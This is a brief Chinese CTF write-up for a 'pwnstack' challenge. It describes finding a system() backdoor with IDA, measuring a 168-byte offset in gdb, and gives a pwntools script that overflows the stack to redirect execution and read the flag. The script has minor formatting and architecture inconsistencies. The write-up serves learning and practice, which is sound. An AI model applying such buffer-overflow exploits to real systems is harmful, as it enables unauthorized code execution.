1.pwnstack
首先用IDA进行静态分析
可以看到有一个输入函数
后门函数,直接执行system()
记下函数地址
0x400762
gdb动态分析
走到read函数的位置输入后查看栈
b8 - 10 = 168
需要输入168个字节,再用backdoor的地址覆盖main+34的返回地址即可
编写脚本
from pwn import *
context(log_level='debug',arch='i386', os='linux')
io = remote('地址', 端口)padding = 168
pause()return_addr = 0x400762
payload = b'a'* padding + p64(return_addr)
delimiter = 'that??'
io.sendlineafter(delimiter, payload)
io.interactive()
最后 cat flag